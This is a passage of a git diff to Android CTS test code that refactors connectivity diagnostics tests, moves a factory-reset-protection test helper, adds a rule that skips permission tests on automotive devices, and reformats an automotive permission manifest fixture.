         final String interfaceName =
                 mConnectivityManager.getLinkProperties(mTestNetwork).getInterfaceName();
@@ -250,10 +393,11 @@
     }
 
     private void verifyOnNetworkConnectivityReported(boolean hasConnectivity) throws Exception {
-        mTestNetwork = setUpTestNetwork();
+        mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
+        mTestNetwork = mTestNetworkCallback.waitForAvailable();
 
-        final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
-        mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
+        final TestConnectivityDiagnosticsCallback cb =
+                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
 
         // onConnectivityReportAvailable always invoked when the test network is established
         final String interfaceName =
@@ -274,17 +418,12 @@
         cb.assertNoCallback();
     }
 
-    @NonNull
-    private Network waitForConnectivityServiceIdleAndGetNetwork() throws InterruptedException {
-        // Get a new Network. This requires going through the ConnectivityService thread. Once it
-        // completes, all previously enqueued messages on the ConnectivityService main Handler have
-        // completed.
-        final TestNetworkCallback callback = new TestNetworkCallback();
-        mConnectivityManager.requestNetwork(TEST_NETWORK_REQUEST, callback);
-        final Network network = callback.waitForAvailable();
-        mConnectivityManager.unregisterNetworkCallback(callback);
-        assertNotNull(network);
-        return network;
+    private TestConnectivityDiagnosticsCallback createAndRegisterConnectivityDiagnosticsCallback(
+            NetworkRequest request) {
+        final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
+        mCdm.registerConnectivityDiagnosticsCallback(request, INLINE_EXECUTOR, cb);
+        mRegisteredCallbacks.add(cb);
+        return cb;
     }
 
     /**
@@ -292,16 +431,16 @@
      * to the Network being validated.
      */
     @NonNull
-    private Network setUpTestNetwork() throws Exception {
+    private TestNetworkInterface setUpTestNetwork() throws Exception {
         final int[] administratorUids = new int[] {Process.myUid()};
-        runWithShellPermissionIdentity(
+        return callWithShellPermissionIdentity(
                 () -> {
                     final TestNetworkManager tnm =
                             mContext.getSystemService(TestNetworkManager.class);
                     final TestNetworkInterface tni = tnm.createTunInterface(new LinkAddress[0]);
                     tnm.setupTestNetwork(tni.getInterfaceName(), administratorUids, BINDER);
+                    return tni;
                 });
-        return waitForConnectivityServiceIdleAndGetNetwork();
     }
 
     private static class TestConnectivityDiagnosticsCallback
@@ -326,13 +465,18 @@
 
         public void expectOnConnectivityReportAvailable(
                 @NonNull Network network, @NonNull String interfaceName) {
+            expectOnConnectivityReportAvailable(network, interfaceName, TRANSPORT_TEST);
+        }
+
+        public void expectOnConnectivityReportAvailable(
+                @NonNull Network network, @NonNull String interfaceName, int transportType) {
             final ConnectivityReport result =
                     (ConnectivityReport) mHistory.poll(CALLBACK_TIMEOUT_MILLIS, x -> true);
             assertEquals(network, result.getNetwork());
 
             final NetworkCapabilities nc = result.getNetworkCapabilities();
             assertNotNull(nc);
-            assertTrue(nc.hasTransport(TRANSPORT_TEST));
+            assertTrue(nc.hasTransport(transportType));
             assertNotNull(result.getLinkProperties());
             assertEquals(interfaceName, result.getLinkProperties().getInterfaceName());
 
@@ -386,4 +530,43 @@
                     mHistory.poll(NO_CALLBACK_INVOKED_TIMEOUT, x -> true));
         }
     }
+
+    private class CarrierConfigReceiver extends BroadcastReceiver {
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+        private final int mSubId;
+
+        CarrierConfigReceiver(int subId) {
+            mSubId = subId;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (!CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+                return;
+            }
+
+            final int subId =
+                    intent.getIntExtra(
+                            CarrierConfigManager.EXTRA_SUBSCRIPTION_INDEX,
+                            SubscriptionManager.INVALID_SUBSCRIPTION_ID);
+            if (mSubId != subId) return;
+
+            final PersistableBundle carrierConfigs = mCarrierConfigManager.getConfigForSubId(subId);
+            if (!CarrierConfigManager.isConfigForIdentifiedCarrier(carrierConfigs)) return;
+
+            final String[] certs =
+                    carrierConfigs.getStringArray(
+                            CarrierConfigManager.KEY_CARRIER_CERTIFICATE_STRING_ARRAY);
+            try {
+                if (ArrayUtils.contains(certs, getCertHashForThisPackage())) {
+                    mLatch.countDown();
+                }
+            } catch (Exception e) {
+            }
+        }
+
+        boolean waitForCarrierConfigChanged() throws Exception {
+            return mLatch.await(CARRIER_CONFIG_CHANGED_BROADCAST_TIMEOUT, TimeUnit.MILLISECONDS);
+        }
+    }
 }
diff --git a/tests/tests/net/src/android/net/cts/DnsResolverTest.java b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
index e6f75c3..4acbbcf 100644
--- a/tests/tests/net/src/android/net/cts/DnsResolverTest.java
+++ b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
@@ -47,6 +47,7 @@
 import android.util.Log;
 
 import com.android.net.module.util.DnsPacket;
+import com.android.testutils.SkipPresubmit;
 
 import java.net.Inet4Address;
 import java.net.Inet6Address;
@@ -585,6 +586,7 @@
         doTestContinuousQueries(mExecutor);
     }
 
+    @SkipPresubmit(reason = "Flaky: b/159762682; add to presubmit after fixing")
     public void testContinuousQueriesInline() throws Exception {
         doTestContinuousQueries(mExecutorInline);
     }
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index 2c74ac8..9bebccf 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -17,6 +17,7 @@
 package android.os.cts
 
 import android.content.Intent
+import android.content.Intent.ACTION_AUTO_REVOKE_PERMISSIONS
 import android.content.Intent.FLAG_ACTIVITY_NEW_TASK
 import android.content.pm.PackageManager
 import android.content.pm.PackageManager.PERMISSION_DENIED
@@ -24,7 +25,6 @@
 import android.net.Uri
 import android.platform.test.annotations.AppModeFull
 import android.provider.DeviceConfig
-import android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS
 import android.support.test.uiautomator.By
 import android.support.test.uiautomator.BySelector
 import android.support.test.uiautomator.UiObject2
@@ -287,10 +287,11 @@
     }
 
     private fun goToPermissions(packageName: String = APK_PACKAGE_NAME) {
-        context.startActivity(Intent(ACTION_APPLICATION_DETAILS_SETTINGS)
+        context.startActivity(Intent(ACTION_AUTO_REVOKE_PERMISSIONS)
                 .setData(Uri.fromParts("package", packageName, null))
                 .addFlags(FLAG_ACTIVITY_NEW_TASK))
 
+        waitForIdle()
         click("Permissions")
     }
 
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
index 9a24968..33a8966 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
@@ -24,9 +24,6 @@
 import androidx.test.InstrumentationRegistry
 import androidx.test.runner.AndroidJUnit4
 
-import com.android.compatibility.common.util.SystemUtil.runShellCommand
-import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
-
 import org.junit.After
 import org.junit.Assert.assertEquals
 import org.junit.Test
@@ -42,12 +39,6 @@
 class IntentTest : PackageInstallerTestBase() {
     private val context = InstrumentationRegistry.getTargetContext()
 
-    private fun setSecureFrp(secureFrp: Boolean) {
-        runWithShellPermissionIdentity {
-            runShellCommand("settings put secure secure_frp_mode ${if (secureFrp) 1 else 0}")
-        }
-    }
-
     @After
     fun disableSecureFrp() {
         setSecureFrp(false)
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
index ad7c7fd..45eb038 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
@@ -198,6 +198,11 @@
         uiDevice.executeShellCommand("settings put secure $secureSetting $value")
     }
 
+    fun setSecureFrp(secureFrp: Boolean) {
+        uiDevice.executeShellCommand("settings --user 0 " +
+                "put secure secure_frp_mode ${if (secureFrp) 1 else 0}")
+    }
+
     @After
     fun unregisterInstallResultReceiver() {
         try {
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
index 24a1128..69096f8 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
@@ -98,7 +98,7 @@
     @Test
     fun confirmFrpInstallationFails() {
         try {
-            setSecureSetting("secure_frp_mode", 1)
+            setSecureFrp(true)
 
             try {
                 val installation = startInstallationViaSession()
@@ -111,7 +111,7 @@
             // Install should never have started
             assertNotInstalled()
         } finally {
-            setSecureSetting("secure_frp_mode", 0)
+            setSecureFrp(false)
         }
     }
 }
diff --git a/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java b/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java
new file mode 100644
index 0000000..45288bd
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import org.junit.rules.MethodRule;
+import org.junit.runners.model.FrameworkMethod;
+import org.junit.runners.model.Statement;
+
+/**
+ * A {@link org.junit.Rule} that will cause all tests in the class
+ * to be ignored if the argument to the constructor is true.
+ */
+public class IgnoreAllTestsRule implements MethodRule {
+
+    private boolean mIgnore;
+
+    /**
+     * Creates a new IgnoreAllTestsRule
+     * @param ignore If true, all tests in the class will be ignored. If false, this rule will
+     *               do nothing.
+     */
+    public IgnoreAllTestsRule(boolean ignore) {
+        mIgnore = ignore;
+    }
+
+    @Override
+    public Statement apply(Statement base, FrameworkMethod method, Object target) {
+        if (mIgnore) {
+            return new Statement() {
+                @Override
+                public void evaluate() throws Throwable {
+                }
+            };
+        } else {
+            return base;
+        }
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
index 656f6ad..5670cc1 100644
--- a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
@@ -43,6 +43,7 @@
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 
 import java.util.concurrent.CompletableFuture;
@@ -70,6 +71,10 @@
 
     private String mOldOneTimePermissionTimeoutValue;
 
+    @Rule
+    public IgnoreAllTestsRule mIgnoreAutomotive = new IgnoreAllTestsRule(
+            mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+
     @Before
     public void wakeUpScreen() {
         SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP");
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 302e55b..3627195 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -4818,7 +4818,7 @@
     <!-- @SystemApi Allows an application to turn on / off quiet mode.
          @hide -->
     <permission android:name="android.permission.MODIFY_QUIET_MODE"
-                android:protectionLevel="signature|privileged|wellbeing" />
+                android:protectionLevel="signature|privileged|wellbeing|development" />
 
     <!-- Allows internal management of the camera framework
          @hide -->
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index dac484b..dd37ac9 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -15,205 +15,340 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
-        package="com.android.car"
-        coreApp="true"
-        android:sharedUserId="android.uid.system">
+     xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+     package="com.android.car"
+     coreApp="true"
+     android:sharedUserId="android.uid.system">
 
-    <original-package android:name="com.android.car" />
-     <permission-group
-        android:name="android.car.permission-group.CAR_MONITORING"
-        android:icon="@drawable/perm_group_car"
-        android:description="@string/car_permission_desc"
-        android:label="@string/car_permission_label" />
-    <permission
-        android:name="android.car.permission.CAR_ENERGY"
-        android:permissionGroup="android.car.permission-group.CAR_MONITORING"
-        android:protectionLevel="dangerous"
-        android:label="@string/car_permission_label_energy"
-        android:description="@string/car_permission_desc_energy" />
-    <permission
-        android:name="android.car.permission.CAR_IDENTIFICATION"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_identification"
-        android:description="@string/car_permission_desc_car_identification" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_CLIMATE"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_hvac"
-        android:description="@string/car_permission_desc_hvac" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_DOORS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_doors"
-        android:description="@string/car_permission_desc_control_car_doors" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_WINDOWS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_windows"
-        android:description="@string/car_permission_desc_control_car_windows" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_MIRRORS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_mirrors"
-        android:description="@string/car_permission_desc_control_car_mirrors" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_SEATS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_seats"
-        android:description="@string/car_permission_desc_control_car_seats" />
-    <permission
-        android:name="android.car.permission.CAR_MILEAGE"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_mileage"
-        android:description="@string/car_permission_desc_mileage" />
-    <permission
-        android:name="android.car.permission.CAR_TIRES"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_tires"
-        android:description="@string/car_permission_desc_car_tires" />
-    <permission
-        android:name="android.car.permission.READ_CAR_STEERING"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_steering"
-        android:description="@string/car_permission_desc_car_steering" />
-    <permission
-        android:name="android.car.permission.READ_CAR_DISPLAY_UNITS"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_read_car_display_units"
-        android:description="@string/car_permission_desc_read_car_display_units" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_DISPLAY_UNITS"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_control_car_display_units"
-        android:description="@string/car_permission_desc_control_car_display_units" />
-    <permission
-        android:name="android.car.permission.CAR_SPEED"
-        android:permissionGroup="android.permission-group.LOCATION"
-        android:protectionLevel="dangerous"
-        android:label="@string/car_permission_label_speed"
-        android:description="@string/car_permission_desc_speed" />
-    <permission
-        android:name="android.car.permission.CAR_ENERGY_PORTS"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_car_energy_ports"
-        android:description="@string/car_permission_desc_car_energy_ports" />
-    <permission
-        android:name="android.car.permission.CAR_ENGINE_DETAILED"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_engine_detailed"
-        android:description="@string/car_permission_desc_car_engine_detailed" />
-    <permission
-        android:name="android.car.permission.CAR_DYNAMICS_STATE"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_vehicle_dynamics_state"
-        android:description="@string/car_permission_desc_vehicle_dynamics_state" />
-    <permission
-        android:name="android.car.permission.CAR_VENDOR_EXTENSION"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_vendor_extension"
-        android:description="@string/car_permission_desc_vendor_extension" />
-    <permission
-        android:name="android.car.permission.CAR_PROJECTION"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_projection"
-        android:description="@string/car_permission_desc_projection" />
-    <permission
-            android:name="android.car.permission.ACCESS_CAR_PROJECTION_STATUS"
-            android:protectionLevel="system|signature"
-            android:label="@string/car_permission_label_access_projection_status"
-            android:description="@string/car_permission_desc_access_projection_status" />
-    <permission
-            android:name="android.car.permission.BIND_PROJECTION_SERVICE"
-            android:protectionLevel="signature"
-            android:label="@string/car_permission_label_bind_projection_service"
-            android:description="@string/car_permission_desc_bind_projection_service" />
-    <permission
-        android:name="android.car.permission.CAR_MOCK_VEHICLE_HAL"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_mock_vehicle_hal"
-        android:description="@string/car_permission_desc_mock_vehicle_hal" />
-    <permission
-        android:name="android.car.permission.CAR_INFO"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_car_info"
-        android:description="@string/car_permission_desc_car_info" />
-    <permission
-        android:name="android.car.permission.CAR_EXTERIOR_ENVIRONMENT"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_car_exterior_environment"
-        android:description="@string/car_permission_desc_car_exterior_environment" />
-    <permission
-        android:name="android.car.permission.CAR_EXTERIOR_LIGHTS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_exterior_lights"
-        android:description="@string/car_permission_desc_car_exterior_lights" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_EXTERIOR_LIGHTS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_exterior_lights"
-        android:description="@string/car_permission_desc_control_car_exterior_lights" />
-    <permission
-        android:name="android.car.permission.READ_CAR_INTERIOR_LIGHTS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_interior_lights"
-        android:description="@string/car_permission_desc_car_interior_lights" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_INTERIOR_LIGHTS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_interior_lights"
-        android:description="@string/car_permission_desc_control_car_interior_lights" />
-    <permission
-        android:name="android.car.permission.CAR_POWER"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_power"
-        android:description="@string/car_permission_desc_car_power" />
-    <permission
-        android:name="android.car.permission.CAR_POWERTRAIN"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_car_powertrain"
-        android:description="@string/car_permission_desc_car_powertrain" />
-    <permission
-        android:name="android.car.permission.CAR_NAVIGATION_MANAGER"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_car_navigation_manager"
-        android:description="@string/car_permission_desc_car_navigation_manager" />
-    <permission
-        android:name="android.car.permission.CAR_DIAGNOSTICS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_diag_read"
-        android:description="@string/car_permission_desc_diag_read" />
-    <permission
-      android:name="android.car.permission.CLEAR_CAR_DIAGNOSTICS"
-      android:protectionLevel="system|signature"
-      android:label="@string/car_permission_label_diag_clear"
-      android:description="@string/car_permission_desc_diag_clear" />
-    <permission
-        android:name="android.car.permission.BIND_VMS_CLIENT"
-        android:protectionLevel="signature"
-        android:label="@string/car_permission_label_bind_vms_client"
-        android:description="@string/car_permission_desc_bind_vms_client" />
-    <permission
-        android:name="android.car.permission.VMS_PUBLISHER"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_vms_publisher"
-        android:description="@string/car_permission_desc_vms_publisher" />
-    <permission
-        android:name="android.car.permission.VMS_SUBSCRIBER"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_vms_subscriber"
-        android:description="@string/car_permission_desc_vms_subscriber" />
-    <permission
-        android:name="android.car.permission.CAR_DRIVING_STATE"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_driving_state"
-        android:description="@string/car_permission_desc_driving_state" />
+    <original-package android:name="com.android.car"/>
+     <permission-group android:name="android.car.permission-group.CAR_MONITORING"
+          android:icon="@drawable/perm_group_car"
+          android:description="@string/car_permission_desc"
+          android:label="@string/car_permission_label"/>
+    <permission android:name="android.car.permission.CAR_ENERGY"
+         android:permissionGroup="android.car.permission-group.CAR_MONITORING"
+         android:protectionLevel="dangerous"
+         android:label="@string/car_permission_label_energy"
+         android:description="@string/car_permission_desc_energy"/>
+    <permission android:name="android.car.permission.CAR_IDENTIFICATION"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_identification"
+         android:description="@string/car_permission_desc_car_identification"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_CLIMATE"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_hvac"
+         android:description="@string/car_permission_desc_hvac"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_DOORS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_doors"
+         android:description="@string/car_permission_desc_control_car_doors"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_WINDOWS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_windows"
+         android:description="@string/car_permission_desc_control_car_windows"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_MIRRORS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_mirrors"
+         android:description="@string/car_permission_desc_control_car_mirrors"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_SEATS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_seats"
+         android:description="@string/car_permission_desc_control_car_seats"/>
+    <permission android:name="android.car.permission.CAR_MILEAGE"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_mileage"
+         android:description="@string/car_permission_desc_mileage"/>
+    <permission android:name="android.car.permission.CAR_TIRES"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_tires"
+         android:description="@string/car_permission_desc_car_tires"/>
+    <permission android:name="android.car.permission.READ_CAR_STEERING"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_steering"
+         android:description="@string/car_permission_desc_car_steering"/>
+    <permission android:name="android.car.permission.READ_CAR_DISPLAY_UNITS"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_read_car_display_units"
+         android:description="@string/car_permission_desc_read_car_display_units"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_DISPLAY_UNITS"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_control_car_display_units"
+         android:description="@string/car_permission_desc_control_car_display_units"/>
+    <permission android:name="android.car.permission.CAR_SPEED"
+         android:permissionGroup="android.permission-group.LOCATION"
+         android:protectionLevel="dangerous"
+         android:label="@string/car_permission_label_speed"
+         android:description="@string/car_permission_desc_speed"/>
+    <permission android:name="android.car.permission.CAR_ENERGY_PORTS"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_car_energy_ports"
+         android:description="@string/car_permission_desc_car_energy_ports"/>
+    <permission android:name="android.car.permission.CAR_ENGINE_DETAILED"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_engine_detailed"
+         android:description="@string/car_permission_desc_car_engine_detailed"/>
+    <permission android:name="android.car.permission.CAR_DYNAMICS_STATE"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_vehicle_dynamics_state"
+         android:description="@string/car_permission_desc_vehicle_dynamics_state"/>
+    <permission android:name="android.car.permission.CAR_VENDOR_EXTENSION"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_vendor_extension"
+         android:description="@string/car_permission_desc_vendor_extension"/>
+    <permission android:name="android.car.permission.CAR_PROJECTION"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_projection"
+         android:description="@string/car_permission_desc_projection"/>
+    <permission android:name="android.car.permission.ACCESS_CAR_PROJECTION_STATUS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_access_projection_status"
+         android:description="@string/car_permission_desc_access_projection_status"/>
+    <permission android:name="android.car.permission.BIND_PROJECTION_SERVICE"
+         android:protectionLevel="signature"
+         android:label="@string/car_permission_label_bind_projection_service"
+         android:description="@string/car_permission_desc_bind_projection_service"/>
+    <permission android:name="android.car.permission.CAR_MOCK_VEHICLE_HAL"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_mock_vehicle_hal"
+         android:description="@string/car_permission_desc_mock_vehicle_hal"/>
+    <permission android:name="android.car.permission.CAR_INFO"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_car_info"
+         android:description="@string/car_permission_desc_car_info"/>
+    <permission android:name="android.car.permission.CAR_EXTERIOR_ENVIRONMENT"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_car_exterior_environment"
+         android:description="@string/car_permission_desc_car_exterior_environment"/>
+    <permission android:name="android.car.permission.CAR_EXTERIOR_LIGHTS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_exterior_lights"
+         android:description="@string/car_permission_desc_car_exterior_lights"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_EXTERIOR_LIGHTS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_exterior_lights"
+         android:description="@string/car_permission_desc_control_car_exterior_lights"/>
+    <permission android:name="android.car.permission.READ_CAR_INTERIOR_LIGHTS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_interior_lights"
+         android:description="@string/car_permission_desc_car_interior_lights"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_INTERIOR_LIGHTS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_interior_lights"
+         android:description="@string/car_permission_desc_control_car_interior_lights"/>
+    <permission android:name="android.car.permission.CAR_POWER"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_power"
+         android:description="@string/car_permission_desc_car_power"/>
+    <permission android:name="android.car.permission.CAR_POWERTRAIN"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_car_powertrain"
+         android:description="@string/car_permission_desc_car_powertrain"/>
+    <permission android:name="android.car.permission.CAR_NAVIGATION_MANAGER"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_car_navigation_manager"
+         android:description="@string/car_permission_desc_car_navigation_manager"/>
+    <permission android:name="android.car.permission.CAR_DIAGNOSTICS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_diag_read"
+         android:description="@string/car_permission_desc_diag_read"/>
+    <permission android:name="android.car.permission.CLEAR_CAR_DIAGNOSTICS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_diag_clear"
+         android:description="@string/car_permission_desc_diag_clear"/>
+    <permission android:name="android.car.permission.BIND_VMS_CLIENT"
+         android:protectionLevel="signature"
+         android:label="@string/car_permission_label_bind_vms_client"
+         android:description="@string/car_permission_desc_bind_vms_client"/>
+    <permission android:name="android.car.permission.VMS_PUBLISHER"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_vms_publisher"
+         android:description="@string/car_permission_desc_vms_publisher"/>
+    <permission android:name="android.car.permission.VMS_SUBSCRIBER"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_vms_subscriber"
+         android:description="@string/car_permission_desc_vms_subscriber"/>
+    <permission android:name="android.car.permission.CAR_DRIVING_STATE"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_driving_state"
+         android:description="@string/car_permission_desc_driving_state"/>
     <!--  may replace this with system permission if proper one is defined. -->
-    <permission
-        android:name="android.car.permission.CONTROL_APP_BLOCKING"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_app_blocking"
-        android:description="@string/car_permission_desc_control_app_blocking" />
+    <permission android:name="android.car.permission.CONTROL_APP_BLOCKING"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_app_blocking"
+         android:description="@string/car_permission_desc_control_app_blocking"/>
+    <permission android:name="android.car.permission.ADJUST_RANGE_REMAINING"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_adjust_range_remaining"
+         android:description="@string/car_permission_desc_adjust_range_remaining"/>
+    <permission android:name="android.car.permission.READ_CAR_OCCUPANT_AWARENESS_STATE"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_read_car_occupant_awareness_state"
+         android:description="@string/car_permission_desc_read_car_occupant_awareness_state"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_ENERGY_PORTS"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_control_car_energy_ports"
+         android:description="@string/car_permission_desc_control_car_energy_ports"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_OCCUPANT_AWARENESS_SYSTEM"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_control_car_occupant_awareness_system"
+         android:description="@string/car_permission_desc_control_car_occupant_awareness_system"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_FEATURES"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_control_car_features"
+         android:description="@string/car_permission_desc_control_car_features"/>
+    <permission android:name="android.car.permission.USE_CAR_WATCHDOG"
+         android:protectionLevel="signature|privileged"
